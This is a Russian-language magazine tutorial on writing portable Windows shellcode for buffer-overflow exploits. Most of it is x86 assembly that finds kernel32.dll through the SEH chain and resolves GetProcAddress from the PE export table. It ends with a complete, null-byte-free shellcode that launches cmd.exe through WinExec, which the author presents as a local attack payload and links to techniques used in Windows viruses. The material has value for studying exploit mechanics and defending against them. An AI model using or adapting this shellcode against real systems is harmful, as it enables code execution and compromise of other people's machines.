Гошко С.В., Построение переносимого шеллкода для Windows систем, Системный администратор, сентябрь 2003, стр.66-7
                Построение переносимого шеллкода для Windows систем

Всё чаще и чаще обсуждаются аспекты атак на Windows системы. Основные 
возможности атак на семейство данных систем были уже рассмотрены, но не стоит
забывать о том, что при построении атаки на переполнение буфера в большинстве
случаев атакующий сталкивается с построением шелл кода. Шелл код это двоичный
код, который выполняется в контексте другой программы. Когда уязвимость уже 
обнаружена и начинается написания эксплоита необходимо для себя решить, будет ли
эксплоит зависить только от версии уязвимой программы или ещё он будет зависеть
от версии операционной системы. Если атакующий хочет, чтобы его эксплоит
работал на большинстве систем, то ему необходимо построить шелл код, который бы
не опирался на "жёсткие" адреса WIN API функций.

Для построения такого рода кода необходимо, чтобы шелл код выполнял следующим
требованиям:

		1) Поиск адреса ядра (kernel32.dll)
		2) Поиск адреса WIN API функции GetProcAddress
		3) Поиск адресов других WIN API функций при помощи
		   функции GetProcAddress
		4) Запуск необходимых нам WIN API функций по найденным адресам

Каким образом возможно удовлетворить первому требованию? При запуске любой 
программы в операционных системах семейства Windows она вызывается из ядра.
Поэтому первый и относительно сложный способ поиска адреса ядра основан на 
поиске в стэке. Но если мы воспользуемся этим способом, то наш шелл код станет
очень большим, поэтому мы пойдём другим путём.
Второй способ обнаружения адреса ядра это при помощи SEH'a.
Что же такое SEH? Это структурированный обработчик исключений, вот к примеру
если мы пытаемся писать в ядро, то будет вызываться исключение и обрабатываться
оно будет при помощи SEH'a. Адрес обработчика исключений всегда лежит внутри 
ядра так, что для поиска адреса ядра нам всего лишь необходимо найти последний
обработчик. По адресу fs:[0] лежит номер текущего обработчика исключений. Ищем 
пока не найдём 0xFFFFFFFF (номер системного обработчика). Этот адрес, в отличии
от адреса ф-ции ExitThread в NT,_всегда_ лежит в kernel32.dll.

                      Рассмотрим пример поиска адреса kernel'a:

;------------------------------------------------------------------------------

		mov     eax, fs:[ebx]       ; Указатель на список обработчиков
	        inc     eax                 ; Увеличиваем eax на 1
next_seh:
       		xchg    eax, ebx            ; Обмениваем содержимое eax c ebx
       		mov     eax, [ebx-1]        ; Номер текущего обработчика
       		inc     eax                 ; Увеличиваем eax на 1
       		jnz     next_seh            ; Является ли он системным (-1)?
       		mov     edx, [ebx-1+4]      ; Адрес обработчика
       		xchg    ax, dx              ; Эквивалентно xor dx,dx (eax=0)

		xor	eax,eax	            ; Обнуляем eax

		mov	ax,1001h            ; Помещаем в eax
		dec	ax		    ; 1000
next_block:
		cmp 	word ptr [edx],'ZM' ; Начало?
		je	found_MZ	    ; ДА!
		sub 	edx,eax		    ; Ищем дальше
		jmp 	next_block
found_MZ:				
		mov 	ebx,edx		    ; Сохраним указатель
		mov 	edi,4 ptr [edx+3Ch] ; Адрес PE заголовка
		add 	edi,edx		    ; +Адрес kernel'a
		cmp	word ptr [edi],'EP' ; Проверка на PE
		jne 	Exit		    ; Не равно - выходим

;------------------------------------------------------------------------------

В результате работы данного куска кода у нас в ргистре edx будет находиться
адрес ядра. Данный код специально модифицирован таким образом, чтобы в нём не
было нулевых байт.

Теперь перейдём к поиску адреса функции GetProcAddress. Поск данной функции 
используется в большинстве современных вирусов ориентированных на Windows 
системы.

По определённому смещению в "PE" заголовке мы можем найти адрес таблицы 
экспортов. В таблице экспортов узнаем количество указателей на функции, 
расположение таблицы указателей имен и адрес таблицы ординалов. Перебираем 
указатели (и ординалы), проверяя при этом имена функций на которые они указывают
на совпадение с "GetProcAddress". При совпадении возьмем ординал и по таблице 
адресов мы получим адрес функции.

              Рассмотрим пример поиска адреса функции GetProcAddress:

;------------------------------------------------------------------------------

		mov 	ebx,edx		; Сохраним указатель
		mov 	edi,4 ptr [edx+3Ch]	; Адрес PE заголовка
		add 	edi,edx		; +Адрес kernel'a
		cmp 	2 ptr [edi],'EP'; Проверка на PE
		jne 	Exit		; Не равно - выходим
		push	edx		; Сохраним адрес kernel'a

		add 	ebx,[edi+78h] 	; Получим адрес таблицы эксп.
		mov 	ecx,[ebx+18h] 	; Количество указателей
		mov 	esi,[ebx+20h] 	; Указатель на таблицу указателей имен
		mov 	edi,[ebx+24h] 	; Указатель на таблицу ординалов
		add 	esi,edx		; Адр. таблицы имен в памяти
		add 	edi,edx		; Адр. таблицы ординалов в памяти
		cld			; Поиск вперед
		add	ebp,8           ; ebp указывает на следующую строку
Search:					; Ищем функцию GetProcAddress
		lodsd			; Берем указатель из таблицы указателей 
		add 	eax,edx		; Получаем адрес памяти
		xchg 	esi,eax		; В esi указетль на имя найденной ф-ции

		xchg 	edi,ebp		; 
					; Указываем на имя нужной нам фунции
		push	ecx             ; Кладём ecx в стэк
		xor	ecx,ecx         ; Обнуляем ecx
		add 	cl,15		; Размер строки
		repe 	cmpsb		; Сравниваем
		jc	restore1
rest2:
		xchg 	esi,eax		; Восстановим значение esi

		pop 	ecx		; Восстановим кол-во указателей
		xchg 	edi,ebp		; Восстановим указатель на ординалы

		je 	Found		; Нашли!
		inc 	edi		; Нет - пробуем следующую ф-цию
		inc 	edi		; Указатель на следующий ординал
		loop 	Search
		jmp 	Exit
restore1:
		xor	esi,esi         ; 
		mov	si,61125        ; Помещаем в esi число 15
		sub	si,61110        ;

		sub	esi,ecx         ; Восстанавливаем указатель (edi) на 
		sub	edi,esi         ; Начало строки
		jmp	rest2           ;
Found:
		xor 	eax,eax         ; Обнуляем eax
		mov 	ax,word ptr [edi]
					; 
					; Возьмем ординал
		shl 	eax,2		; Умножим на размер ординала
		mov 	esi,[ebx+1Ch]	; Указатель на таблицу адресов
		add 	esi,edx		; Получим адрес начала таблицы адресов
		add 	esi,eax		; И адрес нужной ф-ции
		lodsd			; Прочитаем
		add 	eax,edx		; Добавим адрес kernel'a

;------------------------------------------------------------------------------

В начале этого кода в edx хранится адрес kernel'a, а в конце в eax хранится
адрес функции GetProcAddress.

Третье и четвёртое требование выполняются достаточно легко. Для этого необходимо
знание с какими параметрами запускаются необходимые нам WIN API функции.

    Теперь построим переносимый шелл код для локальной атаки на Win32 ситемы:

;------------------------------------------------------------------------------
.386                            
.model flat, stdcall            

extrn ExitProcess:proc          
                               
.data                          
start:                         

;---------------[SUPA SHELLCODE]-----------------------------------------------
Getproc:

		mov	esi,esp         ; esi указывает на вершину стэка
		xor	ecx,ecx         ; обнуляем ecx
		mov	cl,169          ; ecx указывает на текстовую строку
					; 'WinExec'
		add	esi,ecx         ; И esi теперь указывет на 'WinExec'
		push	esi             ; Кладём esi в стэк
		mov	ebp,esi         ; И ebp теперь указывет на 'WinExec'

		mov	edi,esi         ; И edi теперь указывет на 'WinExec'
		xor	ecx,ecx         ; Обнуляем ecx
		mov	cl,27           ; И кладём в cl 27
xor1:           lodsb                   ; Загружаем в al байт 
		cmp	al,01           ; Проверяем 1 это или нет
		jne     nextb           ; Если нет ищем дальше
		xor	al,01           ; Если 1, то обнуляем его и
nextb:
		stosb                   ; Возвращаем на место
		loop	xor1            ; Таким образом мы восстанавливаем
		                        ; Все нужные нам нули
		xor	ebx,ebx         ; Обнуляем ebx

		mov     eax, fs:[ebx]   ; Указатель на список обработчиков
	        inc     eax             ; Увеличиваем eax на 1
next_seh:
       		xchg    eax, ebx        ; Обмениваем содержимое eax c ebx
       		mov     eax, [ebx-1]    ; Номер текущего обработчика
       		inc     eax             ; Увеличиваем eax на 1
       		jnz     next_seh        ; Является ли он системным (-1)?
       		mov     edx, [ebx-1+4]  ; Адрес обработчика
       		xchg    ax, dx          ; Эквивалентно xor dx,dx (eax=0)

		xor	eax,eax		; Обнуляем eax

		mov	ax,1001h        ; Помещаем в eax
		dec	ax		; 1000
next_block:
		cmp 	2 ptr [edx],'ZM'; Начало?
		je 	found_MZ	; ДА!
		sub 	edx,eax		; Ищем дальше
		jmp 	next_block
found_MZ:				
		mov 	ebx,edx		; Сохраним указатель
		mov 	edi,4 ptr [edx+3Ch]	; Адрес PE заголовка
		add 	edi,edx		; +Адрес kernel'a
		cmp 	2 ptr [edi],'EP'; Проверка на PE
		jne 	Exit		; Не равно - выходим
		push	edx		; Сохраним адрес kernel'a

		add 	ebx,[edi+78h] 	; Получим адрес таблицы эксп.
		mov 	ecx,[ebx+18h] 	; Количество указателей
		mov 	esi,[ebx+20h] 	; Указатель на таблицу указателей имен
		mov 	edi,[ebx+24h] 	; Указатель на таблицу ординалов
		add 	esi,edx		; Адр. таблицы имен в памяти
		add 	edi,edx		; Адр. таблицы ординалов в памяти
		cld			; Поиск вперед
		add	ebp,8           ; ebp указывает на следующую строку
Search:					; Ищем функцию GetProcAddress
		lodsd			; Берем указатель из таблицы указателей 
		add 	eax,edx		; Получаем адрес памяти
		xchg 	esi,eax		; В esi указетль на имя найденной ф-ции

		xchg 	edi,ebp		; 
					; Указываем на имя нужной нам фунции
		push	ecx             ; Кладём ecx в стэк
		xor	ecx,ecx         ; Обнуляем ecx
		add 	cl,15		; Размер строки
		repe 	cmpsb		; Сравниваем
		jc	restore1
rest2:
		xchg 	esi,eax		; Восстановим значение esi

		pop 	ecx		; Восстановим кол-во указателей
		xchg 	edi,ebp		; Восстановим указатель на ординалы

		je 	Found		; Нашли!
		inc 	edi		; Нет - пробуем следующую ф-цию
		inc 	edi		; Указатель на следующий ординал
		loop 	Search
		jmp 	Exit
restore1:
		xor	esi,esi         ; 
		mov	si,61125        ; Помещаем в esi число 15
		sub	si,61110        ;

		sub	esi,ecx         ; Восстанавливаем указатель (edi) на 
		sub	edi,esi         ; Начало строки
		jmp	rest2           ;
Found:
		xor 	eax,eax         ; Обнуляем eax
		mov 	ax,word ptr [edi]
					; 
					; Возьмем ординал
		shl 	eax,2		; Умножим на размер ординала
		mov 	esi,[ebx+1Ch]	; Указатель на таблицу адресов
		add 	esi,edx		; Получим адрес начала таблицы адресов
		add 	esi,eax		; И адрес нужной ф-ции
		lodsd			; Прочитаем
		add 	eax,edx		; Добавим адрес kernel'a

		call	eax             ; Получаем адрес функции WinExec

		push	1               ; Заполняем стэк
		push	ebp             ;
		
		call	eax		; Запускаем "cmd.exe"
Exit:   
;------------------------------------------------------------------------------
		db	'WinExec',01
		db	'GetProcAddress',01
		db	'cmd',01
konec:

.code
;------------------------------------------------------------------------------
		nop
;------------------------------------------------------------------------------
end start                                  
end                                         

;------------------------------------------------------------------------------

Вот мы и построили переносимый шелл код для 32 битных систем семейства Windows.

-------------------------------------------------------------------------------
... Dis Is Cheat of Mind ...
							              slon 2002